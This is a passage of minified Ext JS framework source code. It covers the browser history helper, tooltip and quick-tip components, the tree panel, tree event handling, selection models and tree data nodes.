    "].join(""); try { var o = e.contentWindow.document; o.open(); o.write(l); o.close(); return true } catch (n) { return false } } function b() { if (!e.contentWindow || !e.contentWindow.document) { setTimeout(b, 10); return } var o = e.contentWindow.document; var m = o.getElementById("state"); var l = m ? m.innerText : null; var n = g(); setInterval(function () { o = e.contentWindow.document; m = o.getElementById("state"); var q = m ? m.innerText : null; var p = g(); if (q !== l) { l = q; h(l); location.hash = l; n = l; a() } else { if (p !== n) { n = p; i(p) } } }, 50); k = true; Ext.History.fireEvent("ready", Ext.History) } function j() { d = c.value ? c.value : g(); if (Ext.isIE) { b() } else { var l = g(); setInterval(function () { var m = g(); if (m !== l) { l = m; h(l); a() } }, 50); k = true; Ext.History.fireEvent("ready", Ext.History) } } return{fieldId:"x-history-field", iframeId:"x-history-frame", events:{}, init:function (m, l) { if (k) { Ext.callback(m, l, [this]); return } if (!Ext.isReady) { Ext.onReady(function () { Ext.History.init(m, l) }); return } c = Ext.getDom(Ext.History.fieldId); if (Ext.isIE) { e = Ext.getDom(Ext.History.iframeId) } this.addEvents("ready", "change"); if (m) { this.on("ready", m, l, {single:true}) } j() }, add:function (l, m) { if (m !== false) { if (this.getToken() == l) { return true } } if (Ext.isIE) { return i(l) } else { location.hash = l; return true } }, back:function () { history.go(-1) }, forward:function () { history.go(1) }, getToken:function () { return k ? d : g() }} })(); Ext.apply(Ext.History, new Ext.util.Observable()); Ext.Tip = Ext.extend(Ext.Panel, {minWidth:40, maxWidth:300, shadow:"sides", defaultAlign:"tl-bl?", autoRender:true, quickShowInterval:250, frame:true, hidden:true, baseCls:"x-tip", floating:{shadow:true, shim:true, useDisplay:true, constrain:false}, autoHeight:true, closeAction:"hide", initComponent:function () { Ext.Tip.superclass.initComponent.call(this); if (this.closable && !this.title) { this.elements += ",header" } }, afterRender:function () { Ext.Tip.superclass.afterRender.call(this); if (this.closable) { this.addTool({id:"close", handler:this[this.closeAction], scope:this}) } }, showAt:function (a) { Ext.Tip.superclass.show.call(this); if (this.measureWidth !== false && (!this.initialConfig || typeof this.initialConfig.width != "number")) { this.doAutoWidth() } if (this.constrainPosition) { a = this.el.adjustForConstraints(a) } this.setPagePosition(a[0], a[1]) }, doAutoWidth:function (a) { a = a || 0; var b = this.body.getTextWidth(); if (this.title) { b = Math.max(b, this.header.child("span").getTextWidth(this.title)) } b += this.getFrameWidth() + (this.closable ? 20 : 0) + this.body.getPadding("lr") + a; this.setWidth(b.constrain(this.minWidth, this.maxWidth)); if (Ext.isIE7 && !this.repainted) { this.el.repaint(); this.repainted = true } }, showBy:function (a, b) { if (!this.rendered) { this.render(Ext.getBody()) } this.showAt(this.el.getAlignToXY(a, b || this.defaultAlign)) }, initDraggable:function () { this.dd = new Ext.Tip.DD(this, typeof this.draggable == "boolean" ? null : this.draggable); this.header.addClass("x-tip-draggable") }}); Ext.reg("tip", Ext.Tip); Ext.Tip.DD = function (b, a) { Ext.apply(this, a); this.tip = b; Ext.Tip.DD.superclass.constructor.call(this, b.el.id, "WindowDD-" + b.id); this.setHandleElId(b.header.id); this.scroll = false }; Ext.extend(Ext.Tip.DD, Ext.dd.DD, {moveOnly:true, scroll:false, headerOffsets:[100, 25], startDrag:function () { this.tip.el.disableShadow() }, endDrag:function (a) { this.tip.el.enableShadow(true) }}); Ext.ToolTip = Ext.extend(Ext.Tip, {showDelay:500, hideDelay:200, dismissDelay:5000, trackMouse:false, anchorToTarget:true, anchorOffset:0, targetCounter:0, constrainPosition:false, initComponent:function () { Ext.ToolTip.superclass.initComponent.call(this); this.lastActive = new Date(); this.initTarget(this.target); this.origAnchor = this.anchor }, onRender:function (b, a) { Ext.ToolTip.superclass.onRender.call(this, b, a); this.anchorCls = "x-tip-anchor-" + this.getAnchorPosition(); this.anchorEl = this.el.createChild({cls:"x-tip-anchor " + this.anchorCls}) }, afterRender:function () { Ext.ToolTip.superclass.afterRender.call(this); this.anchorEl.setStyle("z-index", this.el.getZIndex() + 1).setVisibilityMode(Ext.Element.DISPLAY) }, initTarget:function (c) { var a; if ((a = Ext.get(c))) { if (this.target) { var b = Ext.get(this.target); this.mun(b, "mouseover", this.onTargetOver, this); this.mun(b, "mouseout", this.onTargetOut, this); this.mun(b, "mousemove", this.onMouseMove, this) } this.mon(a, {mouseover:this.onTargetOver, mouseout:this.onTargetOut, mousemove:this.onMouseMove, scope:this}); this.target = a } if (this.anchor) { this.anchorTarget = this.target } }, onMouseMove:function (b) { var a = this.delegate ? b.getTarget(this.delegate) : this.triggerElement = true; if (a) { this.targetXY = b.getXY(); if (a === this.triggerElement) { if (!this.hidden && this.trackMouse) { this.setPagePosition(this.getTargetXY()) } } else { this.hide(); this.lastActive = new Date(0); this.onTargetOver(b) } } else { if (!this.closable && this.isVisible()) { this.hide() } } }, getTargetXY:function () { if (this.delegate) { this.anchorTarget = this.triggerElement } if (this.anchor) { this.targetCounter++; var c = this.getOffsets(), l = (this.anchorToTarget && !this.trackMouse) ? this.el.getAlignToXY(this.anchorTarget, this.getAnchorAlign()) : this.targetXY, a = Ext.lib.Dom.getViewWidth() - 5, h = Ext.lib.Dom.getViewHeight() - 5, i = document.documentElement, e = document.body, k = (i.scrollLeft || e.scrollLeft || 0) + 5, j = (i.scrollTop || e.scrollTop || 0) + 5, b = [l[0] + c[0], l[1] + c[1]], g = this.getSize(); this.anchorEl.removeClass(this.anchorCls); if (this.targetCounter < 2) { if (b[0] < k) { if (this.anchorToTarget) { this.defaultAlign = "l-r"; if (this.mouseOffset) { this.mouseOffset[0] *= -1 } } this.anchor = "left"; return this.getTargetXY() } if (b[0] + g.width > a) { if (this.anchorToTarget) { this.defaultAlign = "r-l"; if (this.mouseOffset) { this.mouseOffset[0] *= -1 } } this.anchor = "right"; return this.getTargetXY() } if (b[1] < j) { if (this.anchorToTarget) { this.defaultAlign = "t-b"; if (this.mouseOffset) { this.mouseOffset[1] *= -1 } } this.anchor = "top"; return this.getTargetXY() } if (b[1] + g.height > h) { if (this.anchorToTarget) { this.defaultAlign = "b-t"; if (this.mouseOffset) { this.mouseOffset[1] *= -1 } } this.anchor = "bottom"; return this.getTargetXY() } } this.anchorCls = "x-tip-anchor-" + this.getAnchorPosition(); this.anchorEl.addClass(this.anchorCls); this.targetCounter = 0; return b } else { var d = this.getMouseOffset(); return[this.targetXY[0] + d[0], this.targetXY[1] + d[1]] } }, getMouseOffset:function () { var a = this.anchor ? [0, 0] : [15, 18]; if (this.mouseOffset) { a[0] += this.mouseOffset[0]; a[1] += this.mouseOffset[1] } return a }, getAnchorPosition:function () { if (this.anchor) { this.tipAnchor = this.anchor.charAt(0) } else { var a = this.defaultAlign.match(/^([a-z]+)-([a-z]+)(\?)?$/); if (!a) { throw"AnchorTip.defaultAlign is invalid" } this.tipAnchor = a[1].charAt(0) } switch (this.tipAnchor) { case"t": return"top"; case"b": return"bottom"; case"r": return"right" } return"left" }, getAnchorAlign:function () { switch (this.anchor) { case"top": return"tl-bl"; case"left": return"tl-tr"; case"right": return"tr-tl"; default: return"bl-tl" } }, getOffsets:function () { var b, a = this.getAnchorPosition().charAt(0); if (this.anchorToTarget && !this.trackMouse) { switch (a) { case"t": b = [0, 9]; break; case"b": b = [0, -13]; break; case"r": b = [-13, 0]; break; default: b = [9, 0]; break } } else { switch (a) { case"t": b = [-15 - this.anchorOffset, 30]; break; case"b": b = [-19 - this.anchorOffset, -13 - this.el.dom.offsetHeight]; break; case"r": b = [-15 - this.el.dom.offsetWidth, -13 - this.anchorOffset]; break; default: b = [25, -13 - this.anchorOffset]; break } } var c = this.getMouseOffset(); b[0] += c[0]; b[1] += c[1]; return b }, onTargetOver:function (b) { if (this.disabled || b.within(this.target.dom, true)) { return } var a = b.getTarget(this.delegate); if (a) { this.triggerElement = a; this.clearTimer("hide"); this.targetXY = b.getXY(); this.delayShow() } }, delayShow:function () { if (this.hidden && !this.showTimer) { if (this.lastActive.getElapsed() < this.quickShowInterval) { this.show() } else { this.showTimer = this.show.defer(this.showDelay, this) } } else { if (!this.hidden && this.autoHide !== false) { this.show() } } }, onTargetOut:function (a) { if (this.disabled || a.within(this.target.dom, true)) { return } this.clearTimer("show"); if (this.autoHide !== false) { this.delayHide() } }, delayHide:function () { if (!this.hidden && !this.hideTimer) { this.hideTimer = this.hide.defer(this.hideDelay, this) } }, hide:function () { this.clearTimer("dismiss"); this.lastActive = new Date(); if (this.anchorEl) { this.anchorEl.hide() } Ext.ToolTip.superclass.hide.call(this); delete this.triggerElement }, show:function () { if (this.anchor) { this.showAt([-1000, -1000]); this.origConstrainPosition = this.constrainPosition; this.constrainPosition = false; this.anchor = this.origAnchor } this.showAt(this.getTargetXY()); if (this.anchor) { this.anchorEl.show(); this.syncAnchor(); this.constrainPosition = this.origConstrainPosition } else { this.anchorEl.hide() } }, showAt:function (a) { this.lastActive = new Date(); this.clearTimers(); Ext.ToolTip.superclass.showAt.call(this, a); if (this.dismissDelay && this.autoHide !== false) { this.dismissTimer = this.hide.defer(this.dismissDelay, this) } if (this.anchor && !this.anchorEl.isVisible()) { this.syncAnchor(); this.anchorEl.show() } else { this.anchorEl.hide() } }, syncAnchor:function () { var a, b, c; switch (this.tipAnchor.charAt(0)) { case"t": a = "b"; b = "tl"; c = [20 + this.anchorOffset, 2]; break; case"r": a = "l"; b = "tr"; c = [-2, 11 + this.anchorOffset]; break; case"b": a = "t"; b = "bl"; c = [20 + this.anchorOffset, -2]; break; default: a = "r"; b = "tl"; c = [2, 11 + this.anchorOffset]; break } this.anchorEl.alignTo(this.el, a + "-" + b, c) }, setPagePosition:function (a, b) { Ext.ToolTip.superclass.setPagePosition.call(this, a, b); if (this.anchor) { this.syncAnchor() } }, clearTimer:function (a) { a = a + "Timer"; clearTimeout(this[a]); delete this[a] }, clearTimers:function () { this.clearTimer("show"); this.clearTimer("dismiss"); this.clearTimer("hide") }, onShow:function () { Ext.ToolTip.superclass.onShow.call(this); Ext.getDoc().on("mousedown", this.onDocMouseDown, this) }, onHide:function () { Ext.ToolTip.superclass.onHide.call(this); Ext.getDoc().un("mousedown", this.onDocMouseDown, this) }, onDocMouseDown:function (a) { if (this.autoHide !== true && !this.closable && !a.within(this.el.dom)) { this.disable(); this.doEnable.defer(100, this) } }, doEnable:function () { if (!this.isDestroyed) { this.enable() } }, onDisable:function () { this.clearTimers(); this.hide() }, adjustPosition:function (a, d) { if (this.constrainPosition) { var c = this.targetXY[1], b = this.getSize().height; if (d <= c && (d + b) >= c) { d = c - b - 5 } } return{x:a, y:d} }, beforeDestroy:function () { this.clearTimers(); Ext.destroy(this.anchorEl); delete this.anchorEl; delete this.target; delete this.anchorTarget; delete this.triggerElement; Ext.ToolTip.superclass.beforeDestroy.call(this) }, onDestroy:function () { Ext.getDoc().un("mousedown", this.onDocMouseDown, this); Ext.ToolTip.superclass.onDestroy.call(this) }}); Ext.reg("tooltip", Ext.ToolTip); Ext.QuickTip = Ext.extend(Ext.ToolTip, {interceptTitles:false, tagConfig:{namespace:"ext", attribute:"qtip", width:"qwidth", target:"target", title:"qtitle", hide:"hide", cls:"qclass", align:"qalign", anchor:"anchor"}, initComponent:function () { this.target = this.target || Ext.getDoc(); this.targets = this.targets || {}; Ext.QuickTip.superclass.initComponent.call(this) }, register:function (e) { var h = Ext.isArray(e) ? e : arguments; for (var g = 0, a = h.length; g < a; g++) { var l = h[g]; var k = l.target; if (k) { if (Ext.isArray(k)) { for (var d = 0, b = k.length; d < b; d++) { this.targets[Ext.id(k[d])] = l } } else { this.targets[Ext.id(k)] = l } } } }, unregister:function (a) { delete this.targets[Ext.id(a)] }, cancelShow:function (b) { var a = this.activeTarget; b = Ext.get(b).dom; if (this.isVisible()) { if (a && a.el == b) { this.hide() } } else { if (a && a.el == b) { this.clearTimer("show") } } }, getTipCfg:function (d) { var b = d.getTarget(), c, a; if (this.interceptTitles && b.title && Ext.isString(b.title)) { c = b.title; b.qtip = c; b.removeAttribute("title"); d.preventDefault() } else { a = this.tagConfig; c = b.qtip || Ext.fly(b).getAttribute(a.attribute, a.namespace) } return c }, onTargetOver:function (i) { if (this.disabled) { return } this.targetXY = i.getXY(); var c = i.getTarget(); if (!c || c.nodeType !== 1 || c == document || c == document.body) { return } if (this.activeTarget && ((c == this.activeTarget.el) || Ext.fly(this.activeTarget.el).contains(c))) { this.clearTimer("hide"); this.show(); return } if (c && this.targets[c.id]) { this.activeTarget = this.targets[c.id]; this.activeTarget.el = c; this.anchor = this.activeTarget.anchor; if (this.anchor) { this.anchorTarget = c } this.delayShow(); return } var g, h = Ext.fly(c), b = this.tagConfig, d = b.namespace; if (g = this.getTipCfg(i)) { var a = h.getAttribute(b.hide, d); this.activeTarget = {el:c, text:g, width:h.getAttribute(b.width, d), autoHide:a != "user" && a !== "false", title:h.getAttribute(b.title, d), cls:h.getAttribute(b.cls, d), align:h.getAttribute(b.align, d)}; this.anchor = h.getAttribute(b.anchor, d); if (this.anchor) { this.anchorTarget = c } this.delayShow() } }, onTargetOut:function (a) { if (this.activeTarget && a.within(this.activeTarget.el) && !this.getTipCfg(a)) { return } this.clearTimer("show"); if (this.autoHide !== false) { this.delayHide() } }, showAt:function (b) { var a = this.activeTarget; if (a) { if (!this.rendered) { this.render(Ext.getBody()); this.activeTarget = a } if (a.width) { this.setWidth(a.width); this.body.setWidth(this.adjustBodyWidth(a.width - this.getFrameWidth())); this.measureWidth = false } else { this.measureWidth = true } this.setTitle(a.title || ""); this.body.update(a.text); this.autoHide = a.autoHide; this.dismissDelay = a.dismissDelay || this.dismissDelay; if (this.lastCls) { this.el.removeClass(this.lastCls); delete this.lastCls } if (a.cls) { this.el.addClass(a.cls); this.lastCls = a.cls } if (this.anchor) { this.constrainPosition = false } else { if (a.align) { b = this.el.getAlignToXY(a.el, a.align); this.constrainPosition = false } else { this.constrainPosition = true } } } Ext.QuickTip.superclass.showAt.call(this, b) }, hide:function () { delete this.activeTarget; Ext.QuickTip.superclass.hide.call(this) }}); Ext.reg("quicktip", Ext.QuickTip); Ext.QuickTips = function () { var b, a = false; return{init:function (c) { if (!b) { if (!Ext.isReady) { Ext.onReady(function () { Ext.QuickTips.init(c) }); return } b = new Ext.QuickTip({elements:"header,body", disabled:a}); if (c !== false) { b.render(Ext.getBody()) } } }, ddDisable:function () { if (b && !a) { b.disable() } }, ddEnable:function () { if (b && !a) { b.enable() } }, enable:function () { if (b) { b.enable() } a = false }, disable:function () { if (b) { b.disable() } a = true }, isEnabled:function () { return b !== undefined && !b.disabled }, getQuickTip:function () { return b }, register:function () { b.register.apply(b, arguments) }, unregister:function () { b.unregister.apply(b, arguments) }, tips:function () { b.register.apply(b, arguments) }} }(); Ext.slider.Tip = Ext.extend(Ext.Tip, {minWidth:10, offsets:[0, -10], init:function (a) { a.on({scope:this, dragstart:this.onSlide, drag:this.onSlide, dragend:this.hide, destroy:this.destroy}) }, onSlide:function (b, c, a) { this.show(); this.body.update(this.getText(a)); this.doAutoWidth(); this.el.alignTo(a.el, "b-t?", this.offsets) }, getText:function (a) { return String(a.value) }}); Ext.ux.SliderTip = Ext.slider.Tip; Ext.tree.TreePanel = Ext.extend(Ext.Panel, {rootVisible:true, animate:Ext.enableFx, lines:true, enableDD:false, hlDrop:Ext.enableFx, pathSeparator:"/", bubbleEvents:[], initComponent:function () { Ext.tree.TreePanel.superclass.initComponent.call(this); if (!this.eventModel) { this.eventModel = new Ext.tree.TreeEventModel(this) } var a = this.loader; if (!a) { a = new Ext.tree.TreeLoader({dataUrl:this.dataUrl, requestMethod:this.requestMethod}) } else { if (Ext.isObject(a) && !a.load) { a = new Ext.tree.TreeLoader(a) } } this.loader = a; this.nodeHash = {}; if (this.root) { var b = this.root; delete this.root; this.setRootNode(b) } this.addEvents("append", "remove", "movenode", "insert", "beforeappend", "beforeremove", "beforemovenode", "beforeinsert", "beforeload", "load", "textchange", "beforeexpandnode", "beforecollapsenode", "expandnode", "disabledchange", "collapsenode", "beforeclick", "click", "containerclick", "checkchange", "beforedblclick", "dblclick", "containerdblclick", "contextmenu", "containercontextmenu", "beforechildrenrendered", "startdrag", "enddrag", "dragdrop", "beforenodedrop", "nodedrop", "nodedragover"); if (this.singleExpand) { this.on("beforeexpandnode", this.restrictExpand, this) } }, proxyNodeEvent:function (c, b, a, h, g, e, d) { if (c == "collapse" || c == "expand" || c == "beforecollapse" || c == "beforeexpand" || c == "move" || c == "beforemove") { c = c + "node" } return this.fireEvent(c, b, a, h, g, e, d) }, getRootNode:function () { return this.root }, setRootNode:function (b) { this.destroyRoot(); if (!b.render) { b = this.loader.createNode(b) } this.root = b; b.ownerTree = this; b.isRoot = true; this.registerNode(b); if (!this.rootVisible) { var a = b.attributes.uiProvider; b.ui = a ? new a(b) : new Ext.tree.RootTreeNodeUI(b) } if (this.innerCt) { this.clearInnerCt(); this.renderRoot() } return b }, clearInnerCt:function () { this.innerCt.update("") }, renderRoot:function () { this.root.render(); if (!this.rootVisible) { this.root.renderChildren() } }, getNodeById:function (a) { return this.nodeHash[a] }, registerNode:function (a) { this.nodeHash[a.id] = a }, unregisterNode:function (a) { delete this.nodeHash[a.id] }, toString:function () { return"[Tree" + (this.id ? " " + this.id : "") + "]" }, restrictExpand:function (a) { var b = a.parentNode; if (b) { if (b.expandedChild && b.expandedChild.parentNode == b) { b.expandedChild.collapse() } b.expandedChild = a } }, getChecked:function (b, c) { c = c || this.root; var d = []; var e = function () { if (this.attributes.checked) { d.push(!b ? this : (b == "id" ? this.id : this.attributes[b])) } }; c.cascade(e); return d }, getLoader:function () { return this.loader }, expandAll:function () { this.root.expand(true) }, collapseAll:function () { this.root.collapse(true) }, getSelectionModel:function () { if (!this.selModel) { this.selModel = new Ext.tree.DefaultSelectionModel() } return this.selModel }, expandPath:function (g, a, h) { if (Ext.isEmpty(g)) { if (h) { h(false, undefined) } return } a = a || "id"; var d = g.split(this.pathSeparator); var c = this.root; if (c.attributes[a] != d[1]) { if (h) { h(false, null) } return } var b = 1; var e = function () { if (++b == d.length) { if (h) { h(true, c) } return } var i = c.findChild(a, d[b]); if (!i) { if (h) { h(false, c) } return } c = i; i.expand(false, false, e) }; c.expand(false, false, e) }, selectPath:function (e, a, g) { if (Ext.isEmpty(e)) { if (g) { g(false, undefined) } return } a = a || "id"; var c = e.split(this.pathSeparator), b = c.pop(); if (c.length > 1) { var d = function (i, h) { if (i && h) { var j = h.findChild(a, b); if (j) { j.select(); if (g) { g(true, j) } } else { if (g) { g(false, j) } } } else { if (g) { g(false, j) } } }; this.expandPath(c.join(this.pathSeparator), a, d) } else { this.root.select(); if (g) { g(true, this.root) } } }, getTreeEl:function () { return this.body }, onRender:function (b, a) { Ext.tree.TreePanel.superclass.onRender.call(this, b, a); this.el.addClass("x-tree"); this.innerCt = this.body.createChild({tag:"ul", cls:"x-tree-root-ct " + (this.useArrows ? "x-tree-arrows" : this.lines ? "x-tree-lines" : "x-tree-no-lines")}) }, initEvents:function () { Ext.tree.TreePanel.superclass.initEvents.call(this); if (this.containerScroll) { Ext.dd.ScrollManager.register(this.body) } if ((this.enableDD || this.enableDrop) && !this.dropZone) { this.dropZone = new Ext.tree.TreeDropZone(this, this.dropConfig || {ddGroup:this.ddGroup || "TreeDD", appendOnly:this.ddAppendOnly === true}) } if ((this.enableDD || this.enableDrag) && !this.dragZone) { this.dragZone = new Ext.tree.TreeDragZone(this, this.dragConfig || {ddGroup:this.ddGroup || "TreeDD", scroll:this.ddScroll}) } this.getSelectionModel().init(this) }, afterRender:function () { Ext.tree.TreePanel.superclass.afterRender.call(this); this.renderRoot() }, beforeDestroy:function () { if (this.rendered) { Ext.dd.ScrollManager.unregister(this.body); Ext.destroy(this.dropZone, this.dragZone) } this.destroyRoot(); Ext.destroy(this.loader); this.nodeHash = this.root = this.loader = null; Ext.tree.TreePanel.superclass.beforeDestroy.call(this) }, destroyRoot:function () { if (this.root && this.root.destroy) { this.root.destroy(true) } }}); Ext.tree.TreePanel.nodeTypes = {}; Ext.reg("treepanel", Ext.tree.TreePanel); Ext.tree.TreeEventModel = function (a) { this.tree = a; this.tree.on("render", this.initEvents, this) }; Ext.tree.TreeEventModel.prototype = {initEvents:function () { var a = this.tree; if (a.trackMouseOver !== false) { a.mon(a.innerCt, {scope:this, mouseover:this.delegateOver, mouseout:this.delegateOut}) } a.mon(a.getTreeEl(), {scope:this, click:this.delegateClick, dblclick:this.delegateDblClick, contextmenu:this.delegateContextMenu}) }, getNode:function (b) { var a; if (a = b.getTarget(".x-tree-node-el", 10)) { var c = Ext.fly(a, "_treeEvents").getAttribute("tree-node-id", "ext"); if (c) { return this.tree.getNodeById(c) } } return null }, getNodeTarget:function (b) { var a = b.getTarget(".x-tree-node-icon", 1); if (!a) { a = b.getTarget(".x-tree-node-el", 6) } return a }, delegateOut:function (b, a) { if (!this.beforeEvent(b)) { return } if (b.getTarget(".x-tree-ec-icon", 1)) { var c = this.getNode(b); this.onIconOut(b, c); if (c == this.lastEcOver) { delete this.lastEcOver } } if ((a = this.getNodeTarget(b)) && !b.within(a, true)) { this.onNodeOut(b, this.getNode(b)) } }, delegateOver:function (b, a) { if (!this.beforeEvent(b)) { return } if (Ext.isGecko && !this.trackingDoc) { Ext.getBody().on("mouseover", this.trackExit, this); this.trackingDoc = true } if (this.lastEcOver) { this.onIconOut(b, this.lastEcOver); delete this.lastEcOver } if (b.getTarget(".x-tree-ec-icon", 1)) { this.lastEcOver = this.getNode(b); this.onIconOver(b, this.lastEcOver) } if (a = this.getNodeTarget(b)) { this.onNodeOver(b, this.getNode(b)) } }, trackExit:function (a) { if (this.lastOverNode) { if (this.lastOverNode.ui && !a.within(this.lastOverNode.ui.getEl())) { this.onNodeOut(a, this.lastOverNode) } delete this.lastOverNode; Ext.getBody().un("mouseover", this.trackExit, this); this.trackingDoc = false } }, delegateClick:function (b, a) { if (this.beforeEvent(b)) { if (b.getTarget("input[type=checkbox]", 1)) { this.onCheckboxClick(b, this.getNode(b)) } else { if (b.getTarget(".x-tree-ec-icon", 1)) { this.onIconClick(b, this.getNode(b)) } else { if (this.getNodeTarget(b)) { this.onNodeClick(b, this.getNode(b)) } } } } else { this.checkContainerEvent(b, "click") } }, delegateDblClick:function (b, a) { if (this.beforeEvent(b)) { if (this.getNodeTarget(b)) { this.onNodeDblClick(b, this.getNode(b)) } } else { this.checkContainerEvent(b, "dblclick") } }, delegateContextMenu:function (b, a) { if (this.beforeEvent(b)) { if (this.getNodeTarget(b)) { this.onNodeContextMenu(b, this.getNode(b)) } } else { this.checkContainerEvent(b, "contextmenu") } }, checkContainerEvent:function (b, a) { if (this.disabled) { b.stopEvent(); return false } this.onContainerEvent(b, a) }, onContainerEvent:function (b, a) { this.tree.fireEvent("container" + a, this.tree, b) }, onNodeClick:function (b, a) { a.ui.onClick(b) }, onNodeOver:function (b, a) { this.lastOverNode = a; a.ui.onOver(b) }, onNodeOut:function (b, a) { a.ui.onOut(b) }, onIconOver:function (b, a) { a.ui.addClass("x-tree-ec-over") }, onIconOut:function (b, a) { a.ui.removeClass("x-tree-ec-over") }, onIconClick:function (b, a) { a.ui.ecClick(b) }, onCheckboxClick:function (b, a) { a.ui.onCheckChange(b) }, onNodeDblClick:function (b, a) { a.ui.onDblClick(b) }, onNodeContextMenu:function (b, a) { a.ui.onContextMenu(b) }, beforeEvent:function (b) { var a = this.getNode(b); if (this.disabled || !a || !a.ui) { b.stopEvent(); return false } return true }, disable:function () { this.disabled = true }, enable:function () { this.disabled = false }}; Ext.tree.DefaultSelectionModel = Ext.extend(Ext.util.Observable, {constructor:function (a) { this.selNode = null; this.addEvents("selectionchange", "beforeselect"); Ext.apply(this, a); Ext.tree.DefaultSelectionModel.superclass.constructor.call(this) }, init:function (a) { this.tree = a; a.mon(a.getTreeEl(), "keydown", this.onKeyDown, this); a.on("click", this.onNodeClick, this) }, onNodeClick:function (a, b) { this.select(a) }, select:function (c, a) { if (!Ext.fly(c.ui.wrap).isVisible() && a) { return a.call(this, c) } var b = this.selNode; if (c == b) { c.ui.onSelectedChange(true) } else { if (this.fireEvent("beforeselect", this, c, b) !== false) { if (b && b.ui) { b.ui.onSelectedChange(false) } this.selNode = c; c.ui.onSelectedChange(true); this.fireEvent("selectionchange", this, c, b) } } return c }, unselect:function (b, a) { if (this.selNode == b) { this.clearSelections(a) } }, clearSelections:function (a) { var b = this.selNode; if (b) { b.ui.onSelectedChange(false); this.selNode = null; if (a !== true) { this.fireEvent("selectionchange", this, null) } } return b }, getSelectedNode:function () { return this.selNode }, isSelected:function (a) { return this.selNode == a }, selectPrevious:function (a) { if (!(a = a || this.selNode || this.lastSelNode)) { return null } var c = a.previousSibling; if (c) { if (!c.isExpanded() || c.childNodes.length < 1) { return this.select(c, this.selectPrevious) } else { var b = c.lastChild; while (b && b.isExpanded() && Ext.fly(b.ui.wrap).isVisible() && b.childNodes.length > 0) { b = b.lastChild } return this.select(b, this.selectPrevious) } } else { if (a.parentNode && (this.tree.rootVisible || !a.parentNode.isRoot)) { return this.select(a.parentNode, this.selectPrevious) } } return null }, selectNext:function (b) { if (!(b = b || this.selNode || this.lastSelNode)) { return null } if (b.firstChild && b.isExpanded() && Ext.fly(b.ui.wrap).isVisible()) { return this.select(b.firstChild, this.selectNext) } else { if (b.nextSibling) { return this.select(b.nextSibling, this.selectNext) } else { if (b.parentNode) { var a = null; b.parentNode.bubble(function () { if (this.nextSibling) { a = this.getOwnerTree().selModel.select(this.nextSibling, this.selectNext); return false } }); return a } } } return null }, onKeyDown:function (c) { var b = this.selNode || this.lastSelNode; var d = this; if (!b) { return } var a = c.getKey(); switch (a) { case c.DOWN: c.stopEvent(); this.selectNext(); break; case c.UP: c.stopEvent(); this.selectPrevious(); break; case c.RIGHT: c.preventDefault(); if (b.hasChildNodes()) { if (!b.isExpanded()) { b.expand() } else { if (b.firstChild) { this.select(b.firstChild, c) } } } break; case c.LEFT: c.preventDefault(); if (b.hasChildNodes() && b.isExpanded()) { b.collapse() } else { if (b.parentNode && (this.tree.rootVisible || b.parentNode != this.tree.getRootNode())) { this.select(b.parentNode, c) } } break } }}); Ext.tree.MultiSelectionModel = Ext.extend(Ext.util.Observable, {constructor:function (a) { this.selNodes = []; this.selMap = {}; this.addEvents("selectionchange"); Ext.apply(this, a); Ext.tree.MultiSelectionModel.superclass.constructor.call(this) }, init:function (a) { this.tree = a; a.mon(a.getTreeEl(), "keydown", this.onKeyDown, this); a.on("click", this.onNodeClick, this) }, onNodeClick:function (a, b) { if (b.ctrlKey && this.isSelected(a)) { this.unselect(a) } else { this.select(a, b, b.ctrlKey) } }, select:function (a, c, b) { if (b !== true) { this.clearSelections(true) } if (this.isSelected(a)) { this.lastSelNode = a; return a } this.selNodes.push(a); this.selMap[a.id] = a; this.lastSelNode = a; a.ui.onSelectedChange(true); this.fireEvent("selectionchange", this, this.selNodes); return a }, unselect:function (b) { if (this.selMap[b.id]) { b.ui.onSelectedChange(false); var c = this.selNodes; var a = c.indexOf(b); if (a != -1) { this.selNodes.splice(a, 1) } delete this.selMap[b.id]; this.fireEvent("selectionchange", this, this.selNodes) } }, clearSelections:function (b) { var d = this.selNodes; if (d.length > 0) { for (var c = 0, a = d.length; c < a; c++) { d[c].ui.onSelectedChange(false) } this.selNodes = []; this.selMap = {}; if (b !== true) { this.fireEvent("selectionchange", this, this.selNodes) } } }, isSelected:function (a) { return this.selMap[a.id] ? true : false }, getSelectedNodes:function () { return this.selNodes.concat([]) }, onKeyDown:Ext.tree.DefaultSelectionModel.prototype.onKeyDown, selectNext:Ext.tree.DefaultSelectionModel.prototype.selectNext, selectPrevious:Ext.tree.DefaultSelectionModel.prototype.selectPrevious}); Ext.data.Tree = Ext.extend(Ext.util.Observable, {constructor:function (a) { this.nodeHash = {}; this.root = null; if (a) { this.setRootNode(a) } this.addEvents("append", "remove", "move", "insert", "beforeappend", "beforeremove", "beforemove", "beforeinsert"); Ext.data.Tree.superclass.constructor.call(this) }, pathSeparator:"/", proxyNodeEvent:function () { return this.fireEvent.apply(this, arguments) }, getRootNode:function () { return this.root }, setRootNode:function (a) { this.root = a; a.ownerTree = this; a.isRoot = true; this.registerNode(a); return a }, getNodeById:function (a) { return this.nodeHash[a] }, registerNode:function (a) { this.nodeHash[a.id] = a }, unregisterNode:function (a) { delete this.nodeHash[a.id] }, toString:function () { return"[Tree" + (this.id ? " " + this.id : "") + "]" }}); Ext.data.Node = Ext.extend(Ext.util.Observable, {constructor:function (a) { this.attributes = a || {}; this.leaf = this.attributes.leaf; this.id = this.attributes.id; if (!this.id) { this.id = Ext.id(null, "xnode-"); this.attributes.id = this.id } this.childNodes = []; this.parentNode = null; this.firstChild = null; this.lastChild = null; this.previousSibling = null; this.nextSibling = null; this.addEvents({append:true, remove:true, move:true, insert:true, beforeappend:true, beforeremove:true, beforemove:true, beforeinsert:true}); this.listeners = this.attributes.listeners; Ext.data.Node.superclass.constructor.call(this) }, fireEvent:function (b) { if (Ext.data.Node.superclass.fireEvent.apply(this, arguments) === false) { return false } var a = this.getOwnerTree(); if (a) { if (a.proxyNodeEvent.apply(a, arguments) === false) { return false } } return true }, isLeaf:function () { return this.leaf === true }, setFirstChild:function (a) { this.firstChild = a }, setLastChild:function (a) { this.lastChild = a }, isLast:function () { return(!this.parentNode ? true : this.parentNode.lastChild == this) }, isFirst:function () { return(!this.parentNode ? true : this.parentNode.firstChild == this) }, hasChildNodes:function () { return !this.isLeaf() && this.childNodes.length > 0 }, isExpandable:function () { return this.attributes.expandable || this.hasChildNodes() }, appendChild:function (e) { var g = false; if (Ext.isArray(e)) { g = e } else { if (arguments.length > 1) { g = arguments } } if (g) { for (var d = 0, a = g.length; d < a; d++) { this.appendChild(g[d]) } } else { if (this.fireEvent("beforeappend", this.ownerTree, this, e) === false) { return false } var b = 